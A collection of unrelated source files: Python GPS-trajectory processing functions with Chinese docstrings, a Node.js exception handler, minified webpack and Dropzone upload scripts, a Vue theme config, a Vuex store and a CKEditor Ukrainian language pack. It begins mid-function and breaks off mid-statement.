minmaxtime['utctime_new'] = minmaxtime[Vehicleid+'_new']*10000000000+minmaxtime[Time]
minmaxtime[Time] = pd.to_datetime(minmaxtime[Time],unit = 's')
data1 = pd.concat([data1,minmaxtime[['utctime_new',Time]]]).sort_values(by = ['utctime_new'])
data1 = data1.drop_duplicates(['utctime_new'])
data1[Lng] =data1.set_index('utctime_new')[Lng].interpolate(method = 'index').values
data1[Lat] =data1.set_index('utctime_new')[Lat].interpolate(method = 'index').values
data1[Vehicleid]=data1[Vehicleid].ffill()
data1[Vehicleid]=data1[Vehicleid].bfill()
data1 = data1.drop([Vehicleid+'_new','utctime','utctime_new'],axis = 1)
return data1
def traj_sparsify(data,col = ['Vehicleid','Time','Lng','Lat'],timegap = 15,method = 'subsample'):
'''
轨迹点稀疏化。轨迹数据采样频率过高的时候,数据量太大,不便于部分对数据频率要求不是那么高的研究的分析。
这个函数可以将采样间隔扩大,缩减数据量。
输入
-------
data : DataFrame
数据
col : List
列名,按[车辆ID,时间,经度,纬度]的顺序
timegap : number
单位为秒,每隔多长时间一个轨迹点
method : str
可选interpolate插值或subsample子采样
输出
-------
data1 : DataFrame
处理后的数据
'''
Vehicleid,Time,Lng,Lat = col
data[Time] = pd.to_datetime(data[Time], unit='s')
data1 = data.copy()
data1 = data1.drop_duplicates([Vehicleid,Time])
data1 = id_reindex(data1,Vehicleid)
data1 = data1.sort_values(by=[Vehicleid+'_new',Time])
data1['utctime'] = data1[Time].apply(lambda r:int(r.value/1000000000))
data1['utctime_new'] = data1[Vehicleid+'_new']*10000000000+data1['utctime']
if method == 'interpolate':
a = data1.groupby([Vehicleid+'_new'])['utctime'].min().rename('mintime').reset_index()
b = data1.groupby([Vehicleid+'_new'])['utctime'].max().rename('maxtime').reset_index()
minmaxtime = pd.merge(a,b)
mintime = data1['utctime'].min()
maxtime = data1['utctime'].max()
timedata = pd.DataFrame(range(mintime,maxtime,timegap),columns = [Time])
timedata['tmp'] = 1
minmaxtime['tmp'] = 1
minmaxtime = pd.merge(minmaxtime,timedata)
minmaxtime = minmaxtime[(minmaxtime['mintime']<=minmaxtime[Time])&(minmaxtime['maxtime']>=minmaxtime[Time])]
minmaxtime['utctime_new'] = minmaxtime[Vehicleid+'_new']*10000000000+minmaxtime[Time]
minmaxtime[Time] = pd.to_datetime(minmaxtime[Time],unit = 's')
data1 = pd.concat([data1,minmaxtime[['utctime_new',Time]]]).sort_values(by = ['utctime_new'])
data1 = data1.drop_duplicates(['utctime_new'])
data1[Lng] =data1.set_index('utctime_new')[Lng].interpolate(method = 'index').values
data1[Lat] =data1.set_index('utctime_new')[Lat].interpolate(method = 'index').values
data1[Vehicleid]=data1[Vehicleid].ffill()
data1[Vehicleid]=data1[Vehicleid].bfill()
data1 = pd.merge(minmaxtime['utctime_new'],data1)
data1 = data1.drop([Vehicleid+'_new','utctime','utctime_new'],axis = 1)
if method == 'subsample':
data1['utctime_new']=(data1['utctime_new']/timegap).astype(int)
data1 = data1.drop_duplicates(subset = ['utctime_new'])
data1 = data1.drop([Vehicleid+'_new','utctime','utctime_new'],axis = 1)
return data1
def points_to_traj(traj_points,col = ['Lng','Lat','ID']):
'''
输入轨迹点,生成轨迹线型的GeoDataFrame
输入
-------
traj_points : DataFrame
轨迹点数据
col : List
列名,按[经度,纬度,轨迹编号]的顺序
输出
-------
traj : GeoDataFrame
生成的轨迹数据
'''
[Lng,Lat,ID] = col
traj = gpd.GeoDataFrame()
from shapely.geometry import LineString
geometry = []
traj_id = []
for i in traj_points[ID].drop_duplicates():
coords = traj_points[traj_points[ID]==i][[Lng,Lat]].values
traj_id.append(i)
if len(coords)>=2:
geometry.append(LineString(coords))
else:
geometry.append(None)
traj[ID] = traj_id
traj['geometry'] = geometry
traj = gpd.GeoDataFrame(traj)
return traj
def points_to_traj(traj_points,col = ['Lng','Lat','ID'],timecol = None):
'''
输入轨迹点,生成轨迹线型的GeoDataFrame
输入
-------
traj_points : DataFrame
轨迹点数据
col : List
列名,按[经度,纬度,轨迹编号]的顺序
timecol : str
可选,时间列的列名,如果给了则输出带有[经度,纬度,高度,时间]的geojson,可放入kepler中可视化轨迹
输出
-------
traj : GeoDataFrame或json
生成的轨迹数据,如果timecol没定义则为GeoDataFrame,否则为json
'''
[Lng,Lat,ID] = col
if timecol:
geometry = []
traj_id = []
for i in traj_points[ID].drop_duplicates():
coords = traj_points[traj_points[ID]==i][[Lng,Lat,timecol]]
coords[timecol] = coords[timecol].apply(lambda r:int(r.value/1000000000))
coords['altitude'] = 0
coords = coords[[Lng,Lat,'altitude',timecol]].values.tolist()
traj_id.append(i)
if len(coords)>=2:
geometry.append({
"type": "Feature",
"properties":{ "ID": i},
"geometry": {"type": "LineString",
"coordinates":coords}})
traj = {"type": "FeatureCollection",
"features": geometry}
else:
traj = gpd.GeoDataFrame()
from shapely.geometry import LineString
geometry = []
traj_id = []
for i in traj_points[ID].drop_duplicates():
coords = traj_points[traj_points[ID]==i][[Lng,Lat]].values
traj_id.append(i)
if len(coords)>=2:
geometry.append(LineString(coords))
else:
geometry.append(None)
traj[ID] = traj_id
traj['geometry'] = geometry
traj = gpd.GeoDataFrame(traj)
return traj
def dumpjson(data,path):
'''
输入json数据,存储为文件。这个方法主要是解决numpy数值型无法兼容json包报错的问题
输入
-------
data : json
要储存的json数据
path : str
保存的路径
'''
import json
class NpEncoder(json.JSONEncoder):
def default(self, obj):
if isinstance(obj, np.integer):
return int(obj)
elif isinstance(obj, np.floating):
return float(obj)
elif isinstance(obj, np.ndarray):
return obj.tolist()
else:
return super(NpEncoder, self).default(obj)
f = open(path,mode = 'w')
json.dump(data,f,cls=NpEncoder)
f.close()
|
module.exports = function uncaughtExceptionHandler(logger) {
process.on('uncaughtException', function (err) {
console.log('here')
try {
if(!logger)
console.error('internal server error', {
error: (err.stack || err)
});
else
logger.error('internal server error', {
error: (err.stack || err)
});
} catch (e) {
console.error('[InternalError] Cause: ' +
(e.stack ? e.stack : e));
}
});
return function (req, res, next) {
next();
};
};
|
!function(e){function r(n){if(t[n])return t[n].exports;var o=t[n]={i:n,l:!1,exports:{}},c=!0;try{e[n].call(o.exports,o,o.exports,r),c=!1}finally{c&&delete t[n]}return o.l=!0,o.exports}var n=window.webpackJsonp;window.webpackJsonp=function(t,c,i){for(var u,a,f,l=0,s=[];l<t.length;l++)a=t[l],o[a]&&s.push(o[a][0]),o[a]=0;for(u in c)Object.prototype.hasOwnProperty.call(c,u)&&(e[u]=c[u]);for(n&&n(t,c,i);s.length;)s.shift()();if(i)for(l=0;l<i.length;l++)f=r(r.s=i[l]);return f};var t={},o={1:0};r.e=function(e){function n(){c.onerror=c.onload=null,clearTimeout(i);var r=o[e];0!==r&&(r&&r[1](new Error("Loading chunk "+e+" failed.")),o[e]=void 0)}if(0===o[e])return Promise.resolve();if(o[e])return o[e][2];var t=document.getElementsByTagName("head")[0],c=document.createElement("script");c.type="text/javascript",c.charset="utf-8",c.async=!0,c.timeout=12e4,r.nc&&c.setAttribute("nonce",r.nc),c.src=r.p+"ab9196b3a4ef9c3005ec."+e;var i=setTimeout(n,12e4);c.onerror=c.onload=n;var u=new Promise(function(r,n){o[e]=[r,n]});return o[e][2]=u,t.appendChild(c),u},r.m=e,r.c=t,r.i=function(e){return e},r.d=function(e,n,t){r.o(e,n)||Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:t})},r.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return r.d(n,"a",n),n},r.o=function(e,r){return Object.prototype.hasOwnProperty.call(e,r)},r.p="/",r.oe=function(e){throw console.error(e),e}}([]);
|
// 自定义配置,参考 ./default/setting.config.js,需要自定义的属性在这里配置即可
module.exports = {
theme: {
color: '#1890ff',
mode: 'light',
success: '#52c41a',
warning: '#faad14',
error: '#f5222d'
},
multiPage: true,
hideSetting: false,
animate: {
disabled: true,
},
}
|
/*
Copyright (c) 2003-2019, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or https://ckeditor.com/license
*/
CKEDITOR.lang['uk']={"editor":"Текстовий редактор","editorPanel":"Панель розширеного текстового редактора","common":{"editorHelp":"натисніть ALT 0 для довідки","browseServer":"Огляд Сервера","url":"URL","protocol":"Протокол","upload":"Надіслати","uploadSubmit":"Надіслати на сервер","image":"Зображення","flash":"Flash","form":"Форма","checkbox":"Галочка","radio":"Кнопка вибору","textField":"Текстове поле","textarea":"Текстова область","hiddenField":"Приховане поле","button":"Кнопка","select":"Список","imageButton":"Кнопка із зображенням","notSet":"<не визначено>","id":"Ідентифікатор","name":"Ім'я","langDir":"Напрямок мови","langDirLtr":"Зліва направо (LTR)","langDirRtl":"Справа наліво (RTL)","langCode":"Код мови","longDescr":"Довгий опис URL","cssClass":"Клас CSS","advisoryTitle":"Заголовок","cssStyle":"Стиль CSS","ok":"ОК","cancel":"Скасувати","close":"Закрити","preview":"Попередній перегляд","resize":"Потягніть для зміни розмірів","generalTab":"Основне","advancedTab":"Додаткове","validateNumberFailed":"Значення не є цілим числом.","confirmNewPage":"Всі незбережені зміни будуть втрачені. Ви впевнені, що хочете завантажити нову сторінку?","confirmCancel":"Деякі опції змінено. Закрити вікно без збереження змін?","options":"Опції","target":"Ціль","targetNew":"Нове вікно (_blank)","targetTop":"Поточне вікно (_top)","targetSelf":"Поточний фрейм/вікно (_self)","targetParent":"Батьківський фрейм/вікно (_parent)","langDirLTR":"Зліва направо (LTR)","langDirRTL":"Справа наліво (RTL)","styles":"Стиль CSS","cssClasses":"Клас CSS","width":"Ширина","height":"Висота","align":"Вирівнювання","left":"По лівому краю","right":"По правому краю","center":"По центру","justify":"По ширині","alignLeft":"По лівому краю","alignRight":"По правому краю","alignCenter":"По центру","alignTop":"По верхньому краю","alignMiddle":"По середині","alignBottom":"По нижньому краю","alignNone":"Нема","invalidValue":"Невірне значення.","invalidHeight":"Висота повинна бути цілим числом.","invalidWidth":"Ширина повинна бути цілим числом.","invalidLength":"Вказане значення для поля \"%1\" має бути позитивним числом без або з коректним символом одиниці виміру (%2).","invalidCssLength":"Значення, вказане для \"%1\" в полі повинно бути позитивним числом або без дійсного виміру CSS блоку (px, %, in, cm, mm, em, ex, pt або pc).","invalidHtmlLength":"Значення, вказане для \"%1\" в полі повинно бути позитивним числом або без дійсного виміру HTML блоку (px або %).","invalidInlineStyle":"Значення, вказане для вбудованого стилю повинне складатися з одного чи кількох кортежів у форматі \"ім'я : значення\", розділених крапкою з комою.","cssLengthTooltip":"Введіть номер значення в пікселях або число з дійсною одиниці CSS (px, %, in, cm, mm, em, ex, pt або pc).","unavailable":"%1<span class=\"cke_accessibility\">, не доступне</span>","keyboard":{"8":"Backspace","13":"Enter","16":"Shift","17":"Ctrl","18":"Alt","32":"Пробіл","35":"End","36":"Home","46":"Видалити","112":"F1","113":"F2","114":"F3","115":"F4","116":"F5","117":"F6","118":"F7","119":"F8","120":"F9","121":"F10","122":"F11","123":"F12","124":"F13","125":"F14","126":"F15","127":"F16","128":"F17","129":"F18","130":"F19","131":"F20","132":"F21","133":"F22","134":"F23","135":"F24","224":"Command"},"keyboardShortcut":"Сполучення клавіш","optionDefault":"Типово"},"basicstyles":{"bold":"Жирний","italic":"Курсив","strike":"Закреслений","subscript":"Нижній індекс","superscript":"Верхній індекс","underline":"Підкреслений"},"blockquote":{"toolbar":"Цитата"},"notification":{"closed":"Сповіщення закрито."},"toolbar":{"toolbarCollapse":"Згорнути панель інструментів","toolbarExpand":"Розгорнути панель інструментів","toolbarGroups":{"document":"Документ","clipboard":"Буфер обміну / Скасувати","editing":"Редагування","forms":"Форми","basicstyles":"Основний Стиль","paragraph":"Параграф","links":"Посилання","insert":"Вставити","styles":"Стилі","colors":"Кольори","tools":"Інструменти"},"toolbars":"Панель інструментів редактора"},"clipboard":{"copy":"Копіювати","copyError":"Налаштування безпеки Вашого браузера не дозволяють редактору автоматично виконувати операції копіювання. Будь ласка, використовуйте клавіатуру для цього (Ctrl/Cmd+C).","cut":"Вирізати","cutError":"Налаштування безпеки Вашого браузера не дозволяють редактору автоматично виконувати операції вирізування. Будь ласка, використовуйте клавіатуру для цього (Ctrl/Cmd+X)","paste":"Вставити","pasteNotification":"Натисніть %1, щоб вставити. Ваш браузер не підтримує вставку за допомогою кнопки панелі інструментів або пункту контекстного меню.","pasteArea":"Область вставки","pasteMsg":"Вставте вміст у область нижче та натисніть OK."},"colorbutton":{"auto":"Авто","bgColorTitle":"Колір фону","colors":{"000":"Чорний","800000":"Бордовий","8B4513":"Коричневий","2F4F4F":"Темний сіро-зелений","008080":"Морської хвилі","000080":"Сливовий","4B0082":"Індиго","696969":"Темно-сірий","B22222":"Темночервоний","A52A2A":"Каштановий","DAA520":"Бежевий","006400":"Темно-зелений","40E0D0":"Бірюзовий","0000CD":"Темносиній","800080":"Пурпурний","808080":"Сірий","F00":"Червоний","FF8C00":"Темно-помаранчевий","FFD700":"Жовтий","008000":"Зелений","0FF":"Синьо-зелений","00F":"Синій","EE82EE":"Фіолетовий","A9A9A9":"Тьмяно-сірий","FFA07A":"Рожевий","FFA500":"Помаранчевий","FFFF00":"Яскравожовтий","00FF00":"Салатовий","AFEEEE":"Світлобірюзовий","ADD8E6":"Блакитний","DDA0DD":"Світлофіолетовий","D3D3D3":"Світло-сірий","FFF0F5":"Світлорожевий","FAEBD7":"Світлооранжевий","FFFFE0":"Світло-жовтий","F0FFF0":"Світлозелений","F0FFFF":"Світлий синьо-зелений","F0F8FF":"Світлоблакитний","E6E6FA":"Лавандовий","FFF":"Білий","1ABC9C":"Насичений блакитний","2ECC71":"Смарагдовий","3498DB":"Яскраво-синій","9B59B6":"Аметистовий","4E5F70":"Сірувато-синій","F1C40F":"Яскраво-жовтий","16A085":"Темно-блакитний","27AE60":"Темно-смарагдовий","2980B9":"Насичений синій","8E44AD":"Темно-фіолетовий","2C3E50":"Ненасичений синій","F39C12":"Помаранчевий","E67E22":"Морквяний","E74C3C":"Блідо-червоний","ECF0F1":"Яскраво-сріблястий","95A5A6":"Світлий сірувато-блакитний","DDD":"Світло-сірий","D35400":"Гарбузовий","C0392B":"Насичений червоний","BDC3C7":"Сріблястий","7F8C8D":"Сірувато-блакитний","999":"Темно-сірий"},"more":"Кольори...","panelTitle":"Кольори","textColorTitle":"Колір тексту"},"colordialog":{"clear":"Очистити","highlight":"Колір, на який вказує курсор","options":"Опції кольорів","selected":"Обраний колір","title":"Обрати колір"},"templates":{"button":"Шаблони","emptyListMsg":"(Не знайдено жодного шаблону)","insertOption":"Замінити поточний вміст","options":"Опції шаблону","selectPromptMsg":"Оберіть, будь ласка, шаблон для відкриття в редакторі<br>(поточний зміст буде втрачено):","title":"Шаблони змісту"},"contextmenu":{"options":"Опції контекстного меню"},"copyformatting":{"label":"Copy Formatting","notification":{"copied":"Formatting copied","applied":"Formatting applied","canceled":"Formatting canceled","failed":"Formatting failed. You cannot apply styles without copying them first."}},"elementspath":{"eleLabel":"Шлях","eleTitle":"%1 елемент"},"filetools":{"loadError":"Виникла помилка під час читання файлу","networkError":"Під час завантаження файлу виникла помилка мережі.","httpError404":"Під час завантаження файлу виникла помилка HTTP (404: Файл не знайдено).","httpError403":"Під час завантаження файлу виникла помилка HTTP (403: Доступ заборонено).","httpError":"Під час завантаження файлу виникла помилка (статус помилки: %1).","noUrlError":"URL завантаження не визначений.","responseError":"Невірна відповідь сервера."},"fakeobjects":{"anchor":"Якір","flash":"Flash-анімація","hiddenfield":"Приховані Поля","iframe":"IFrame","unknown":"Невідомий об'єкт"},"flash":{"access":"Доступ до скрипта","accessAlways":"Завжди","accessNever":"Ніколи","accessSameDomain":"З того ж домена","alignAbsBottom":"По нижньому краю (abs)","alignAbsMiddle":"По середині (abs)","alignBaseline":"По базовій лінії","alignTextTop":"Текст по верхньому краю","bgcolor":"Колір фону","chkFull":"Дозволити повноекранний перегляд","chkLoop":"Циклічно","chkMenu":"Дозволити меню Flash","chkPlay":"Автопрогравання","flashvars":"Змінні Flash","hSpace":"Гориз. відступ","properties":"Властивості Flash","propertiesTab":"Властивості","quality":"Якість","qualityAutoHigh":"Автом. відмінна","qualityAutoLow":"Автом. низька","qualityBest":"Відмінна","qualityHigh":"Висока","qualityLow":"Низька","qualityMedium":"Середня","scale":"Масштаб","scaleAll":"Показати все","scaleFit":"Поч. розмір","scaleNoBorder":"Без рамки","title":"Властивості Flash","vSpace":"Верт. відступ","validateHSpace":"Гориз. відступ повинен бути цілим числом.","validateSrc":"URL посилання не може бути порожнім.","validateVSpace":"Верт. відступ повинен бути цілим числом.","windowMode":"Віконний режим","windowModeOpaque":"Непрозорість","windowModeTransparent":"Прозорість","windowModeWindow":"Вікно"},"font":{"fontSize":{"label":"Розмір","voiceLabel":"Розмір шрифту","panelTitle":"Розмір"},"label":"Шрифт","panelTitle":"Шрифт","voiceLabel":"Шрифт"},"format":{"label":"Форматування","panelTitle":"Форматування параграфа","tag_address":"Адреса","tag_div":"Нормальний (div)","tag_h1":"Заголовок 1","tag_h2":"Заголовок 2","tag_h3":"Заголовок 3","tag_h4":"Заголовок 4","tag_h5":"Заголовок 5","tag_h6":"Заголовок 6","tag_p":"Нормальний","tag_pre":"Форматований"},"horizontalrule":{"toolbar":"Горизонтальна лінія"},"iframe":{"border":"Показати рамки фрейму","noUrl":"Будь ласка введіть URL посилання для IFrame","scrolling":"Увімкнути прокрутку","title":"Налаштування для IFrame","toolbar":"IFrame"},"image":{"alt":"Альтернативний текст","border":"Рамка","btnUpload":"Надіслати на сервер","button2Img":"Бажаєте перетворити обрану кнопку-зображення на просте зображення?","hSpace":"Гориз. відступ","img2Button":"Бажаєте перетворити обране зображення на кнопку-зображення?","infoTab":"Інформація про зображення","linkTab":"Посилання","lockRatio":"Зберегти пропорції","menu":"Властивості зображення","resetSize":"Очистити поля розмірів","title":"Властивості зображення","titleButton":"Властивості кнопки із зображенням","upload":"Надіслати","urlMissing":"Вкажіть URL зображення.","vSpace":"Верт. відступ","validateBorder":"Ширина рамки повинна бути цілим числом.","validateHSpace":"Гориз. відступ повинен бути цілим числом.","validateVSpace":"Верт. відступ повинен бути цілим числом."},"indent":{"indent":"Збільшити відступ","outdent":"Зменшити відступ"},"smiley":{"options":"Опції смайликів","title":"Вставити смайлик","toolbar":"Смайлик"},"link":{"acccessKey":"Гаряча клавіша","advanced":"Додаткове","advisoryContentType":"Тип вмісту","advisoryTitle":"Заголовок","anchor":{"toolbar":"Вставити/Редагувати якір","menu":"Властивості якоря","title":"Властивості якоря","name":"Ім'я якоря","errorName":"Будь ласка, вкажіть ім'я якоря","remove":"Прибрати якір"},"anchorId":"За ідентифікатором елементу","anchorName":"За ім'ям елементу","charset":"Кодування","cssClasses":"Клас CSS","download":"Завантажити як файл","displayText":"Відображуваний текст","emailAddress":"Адреса ел. пошти","emailBody":"Тіло повідомлення","emailSubject":"Тема листа","id":"Ідентифікатор","info":"Інформація посилання","langCode":"Код мови","langDir":"Напрямок мови","langDirLTR":"Зліва направо (LTR)","langDirRTL":"Справа наліво (RTL)","menu":"Вставити посилання","name":"Ім'я","noAnchors":"(В цьому документі немає якорів)","noEmail":"Будь ласка, вкажіть адрес ел. пошти","noUrl":"Будь ласка, вкажіть URL посилання","noTel":"Будь ласка, введіть номер телефону","other":"<інший>","phoneNumber":"Номер телефону","popupDependent":"Залежний (Netscape)","popupFeatures":"Властивості випливаючого вікна","popupFullScreen":"Повний екран (IE)","popupLeft":"Позиція зліва","popupLocationBar":"Панель локації","popupMenuBar":"Панель меню","popupResizable":"Масштабоване","popupScrollBars":"Стрічки прокрутки","popupStatusBar":"Рядок статусу","popupToolbar":"Панель інструментів","popupTop":"Позиція зверху","rel":"Зв'язок","selectAnchor":"Оберіть якір","styles":"Стиль CSS","tabIndex":"Послідовність переходу","target":"Ціль","targetFrame":"<фрейм>","targetFrameName":"Ім'я цільового фрейму","targetPopup":"<випливаюче вікно>","targetPopupName":"Ім'я випливаючого вікна","title":"Посилання","toAnchor":"Якір на цю сторінку","toEmail":"Ел. пошта","toUrl":"URL","toPhone":"Телефон","toolbar":"Вставити/Редагувати посилання","type":"Тип посилання","unlink":"Видалити посилання","upload":"Надіслати"},"list":{"bulletedlist":"Маркірований список","numberedlist":"Нумерований список"},"liststyle":{"bulletedTitle":"Опції маркованого списку","circle":"Кільце","decimal":"Десяткові (1, 2, 3 і т.д.)","disc":"Кружечок","lowerAlpha":"Малі лат. букви (a, b, c, d, e і т.д.)","lowerRoman":"Малі римські (i, ii, iii, iv, v і т.д.)","none":"Нема","notset":"<не вказано>","numberedTitle":"Опції нумерованого списку","square":"Квадратик","start":"Почати з...","type":"Тип","upperAlpha":"Великі лат. букви (A, B, C, D, E і т.д.)","upperRoman":"Великі римські (I, II, III, IV, V і т.д.)","validateStartNumber":"Початковий номер списку повинен бути цілим числом."},"magicline":{"title":"Вставити абзац"},"maximize":{"maximize":"Максимізувати","minimize":"Мінімізувати"},"pastetext":{"button":"Вставити тільки текст","pasteNotification":"Натисніть %1, щоб вставити. Ваш браузер не підтримує вставку за допомогою кнопки панелі інструментів або пункту контекстного меню.","title":"Вставити тільки текст"},"pastefromword":{"confirmCleanup":"Текст, що Ви намагаєтесь вставити, схожий на скопійований з Word. Бажаєте очистити його форматування перед вставлянням?","error":"Неможливо очистити форматування через внутрішню помилку.","title":"Вставити з Word","toolbar":"Вставити з Word"},"preview":{"preview":"Попередній перегляд"},"removeformat":{"toolbar":"Видалити форматування"},"showblocks":{"toolbar":"Показувати блоки"},"sourcearea":{"toolbar":"Джерело"},"table":{"border":"Розмір рамки","caption":"Заголовок таблиці","cell":{"menu":"Комірки","insertBefore":"Вставити комірку перед","insertAfter":"Вставити комірку після","deleteCell":"Видалити комірки","merge":"Об'єднати комірки","mergeRight":"Об'єднати справа","mergeDown":"Об'єднати донизу","splitHorizontal":"Розділити комірку по горизонталі","splitVertical":"Розділити комірку по вертикалі","title":"Властивості комірки","cellType":"Тип комірки","rowSpan":"Об'єднання рядків","colSpan":"Об'єднання стовпців","wordWrap":"Автоперенесення тексту","hAlign":"Гориз. вирівнювання","vAlign":"Верт. вирівнювання","alignBaseline":"По базовій лінії","bgColor":"Колір фону","borderColor":"Колір рамки","data":"Дані","header":"Заголовок","yes":"Так","no":"Ні","invalidWidth":"Ширина комірки повинна бути цілим числом.","invalidHeight":"Висота комірки повинна бути цілим числом.","invalidRowSpan":"Кількість об'єднуваних рядків повинна бути цілим числом.","invalidColSpan":"Кількість об'єднуваних стовбців повинна бути цілим числом.","chooseColor":"Обрати"},"cellPad":"Внутр. відступ","cellSpace":"Проміжок","column":{"menu":"Стовбці","insertBefore":"Вставити стовбець перед","insertAfter":"Вставити стовбець після","deleteColumn":"Видалити стовбці"},"columns":"Стовбці","deleteTable":"Видалити таблицю","headers":"Заголовки стовбців/рядків","headersBoth":"Стовбці і рядки","headersColumn":"Стовбці","headersNone":"Без заголовків","headersRow":"Рядки","heightUnit":"height unit","invalidBorder":"Розмір рамки повинен бути цілим числом.","invalidCellPadding":"Внутр. відступ комірки повинен бути цілим числом.","invalidCellSpacing":"Проміжок між комірками повинен бути цілим числом.","invalidCols":"Кількість стовбців повинна бути більшою 0.","invalidHeight":"Висота таблиці повинна бути цілим числом.","invalidRows":"Кількість рядків повинна бути більшою 0.","invalidWidth":"Ширина таблиці повинна бути цілим числом.","menu":"Властивості таблиці","row":{"menu":"Рядки","insertBefore":"Вставити рядок перед","insertAfter":"Вставити рядок після","deleteRow":"Видалити рядки"},"rows":"Рядки","summary":"Детальний опис заголовку таблиці","title":"Властивості таблиці","toolbar":"Таблиця","widthPc":"відсотків","widthPx":"пікселів","widthUnit":"Одиниці вимір."},"undo":{"redo":"Повторити","undo":"Повернути"},"widget":{"move":"Клікніть і потягніть для переміщення","label":"%1 віджет"},"uploadwidget":{"abort":"Завантаження перервано користувачем.","doneOne":"Файл цілком завантажено.","doneMany":"Цілком завантажено %1 файлів.","uploadOne":"Завантаження файлу ({percentage}%)...","uploadMany":"Завантажено {current} із {max} файлів завершено на ({percentage}%)..."},"codesnippet":{"button":"Вставити фрагмент коду","codeContents":"Код","emptySnippetError":"Фрагмент коду не може бути порожнім.","language":"Мова","title":"Фрагмент коду","pathName":"фрагмент коду"},"html5audio":{"button":"Вставити HTML5 аудіо","title":"HTML5 аудіо","infoLabel":"Інформація","urlMissing":"Не обрано джерела аудіо","audioProperties":"Властивості аудіо","upload":"Відвантажити","btnUpload":"Відвантажити на сервер","advanced":"Додатково","autoplay":"Автовідтворення?","allowdownload":"Дозволити завантаження?","advisorytitle":"Заголовок","yes":"Так","no":"Ні"},"html5video":{"button":"Вставити HTML5 відео","title":"HTML5 відео","infoLabel":"Інформація","allowed":"Допустимі розширення файлів: MP4, WebM, Ogv","urlMissing":"Не обрано джерела відео","videoProperties":"Властивості відео","upload":"Відвантажити","btnUpload":"Відвантажити на сервер","advanced":"Додатково","autoplay":"Автовідтворення?","allowdownload":"Allow download?","advisorytitle":"Advisory title","yes":"Так","no":"Ні","controls":"Показати елементи керування?","loop":"Loop?","responsive":"Responsive width","poster":"Thumbnail"}};
|
const state = {
error : null,
notify: null
};
const mutations = {
UPDATEERROR(state_, error) {
state_.error = error;
},
UPDATENOTIFY(state_, notify) {
state_.notify = notify;
}
};
export default {
state,
mutations
};
|
!function(e){var t={};function a(n){if(t[n])return t[n].exports;var o=t[n]={i:n,l:!1,exports:{}};return e[n].call(o.exports,o,o.exports,a),o.l=!0,o.exports}a.m=e,a.c=t,a.d=function(e,t,n){a.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:n})},a.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},a.t=function(e,t){if(1&t&&(e=a(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(a.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var o in e)a.d(n,o,function(t){return e[t]}.bind(null,o));return n},a.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return a.d(t,"a",t),t},a.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},a.p="/",a(a.s=488)}({488:function(e,t,a){e.exports=a(489)},489:function(e,t){function a(e,t,a){return t in e?Object.defineProperty(e,t,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[t]=a,e}Dropzone.autoDiscover=!1,Dropzone.prototype.defaultOptions.dictDefaultMessage=_LANG_.dictDefaultMessage,Dropzone.prototype.defaultOptions.dictFallbackMessage=_LANG_.dictFallbackMessage,Dropzone.prototype.defaultOptions.dictFallbackText=_LANG_.dictFallbackText,Dropzone.prototype.defaultOptions.dictFileTooBig=_LANG_.dictFileTooBig,Dropzone.prototype.defaultOptions.dictInvalidFileType=_LANG_.dictInvalidFileType,Dropzone.prototype.defaultOptions.dictResponseError=_LANG_.dictResponseError,Dropzone.prototype.defaultOptions.dictCancelUpload=_LANG_.dictCancelUpload,Dropzone.prototype.defaultOptions.dictCancelUploadConfirmation=_LANG_.dictCancelUploadConfirmation,Dropzone.prototype.defaultOptions.dictRemoveFile=_LANG_.dictRemoveFile,Dropzone.prototype.defaultOptions.dictMaxFilesExceeded=_LANG_.dictMaxFilesExceeded,Dropzone.options.dzone={acceptedFiles:"image/jpeg,image/png,image/gif"},$((function(){var e=new Dropzone("#kt_dropzone_media_manager",{url:current_url+"/upload?time="+$.now(),headers:{"X-CSRF-TOKEN":$('meta[name="X-CSRF-TOKEN"]').attr("content"),"X-Requested-With":"XMLHttpRequest"},params:function(e,t,a){if(a)return{dzUuid:a.file.upload.uuid,dzChunkIndex:a.index,dzTotalFileSize:a.file.size,dzCurrentChunkSize:a.dataBlock.data.size,dzTotalChunkCount:a.file.upload.totalChunkCount,dzChunkByteOffset:a.index*this.options.chunkSize,dzChunkSize:this.options.chunkSize,dzFilename:a.file.name,userID:1}},acceptedFiles:"image/jpeg,image/png,image/gif",uploadmultiple:!0,addRemoveLinks:!0,timeout:0,maxFilesize:Medias.maxFilesize,chunking:!0,forceChunking:!0,chunkSize:75387608,retryChunks:!0,retryChunksLimit:3,init:function(){this.on("addedfile",(function(e){console.log("addedfile")})),this.on("complete",(function(e){console.log("complete"),$.ajax({type:"GET",url:current_url+"/getDisplayImageManager",contentType:"application/x-www-form-urlencoded; charset=UTF-8",data:a({},crsftoken,$('meta[name="X-CSRF-TOKEN"]').attr("content")),dataType:"json",success:function(e,t,a){console.log(e),$("#imageManager").html(e.html)}})})),this.on("success",(function(e,t){if(console.log("success"),e.previewElement)return e.previewElement.classList.add("dz-success"),$((function(){setTimeout((function(){$(".dz-success").fadeOut("slow")}),2500)}))})),this.on("sending",(function(e,t,a){KTApp.block("#imageManager",{overlayColor:"#000000",state:"primary"})})),this.on("queuecomplete",(function(t,a){console.log(e),e.files[0].status==Dropzone.SUCCESS&&($.notify({title:_LANG_.updated+"!",message:_LANG_.saved_data},{type:"success"}),KTApp.unblock("#imageManager"),$(".dz-success").fadeOut("slow"),$(".dz-message").fadeIn("slow"))})),this.on("error",(function(e,t,a){console.log("errored",e,t,a),void 0!==a?this.defaultOptions.error(e,a.statusText):this.defaultOptions.error(e,t),$.notify({title:_LANG_.error+" : 500 ",message:t.error.message},{type:"warning"})})),this.on("removedfile",(function(e,t,n){console.log("removedfile",e,t,n),$.ajax({type:"GET",url:current_url+"/removedfile/"+e.upload.uuid,contentType:"application/x-www-form-urlencoded; charset=UTF-8",data:a({},crsftoken,$('meta[name="X-CSRF-TOKEN"]').attr("content")),dataType:"json",success:function(e,a,n){console.log(t)}})}))}});$(document).on("click",".select-image",(function(e){var t;e.preventDefault(),console.log(e);var 